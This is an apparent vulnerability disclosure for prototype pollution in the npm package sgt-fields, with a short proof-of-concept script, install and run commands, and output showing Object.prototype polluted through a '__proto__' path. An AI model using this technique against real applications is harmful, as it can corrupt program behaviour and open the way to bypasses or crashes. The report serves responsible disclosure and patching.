Prototype Pollution in rodrigocmoreira/sgt-fields

Valid

Reported on

Dec 21st 2020


Description

sgt-fields is vulnerable to Prototype Pollution.

Proof of Concept

  1. Create the following PoC file:
// poc.js
var sgtFields = require("sgt-fields")
var obj = {}
console.log("Before : " + {}.polluted);
sgtFields.set(obj,"__proto__.polluted","Yes! Its Polluted");
console.log("After : " + {}.polluted);
  1. Execute the following commands in terminal:
npm i sgt-fields # Install affected module
node poc.js #  Run the PoC
  1. Check the Output:
Before : undefined
After : Yes! Its Polluted
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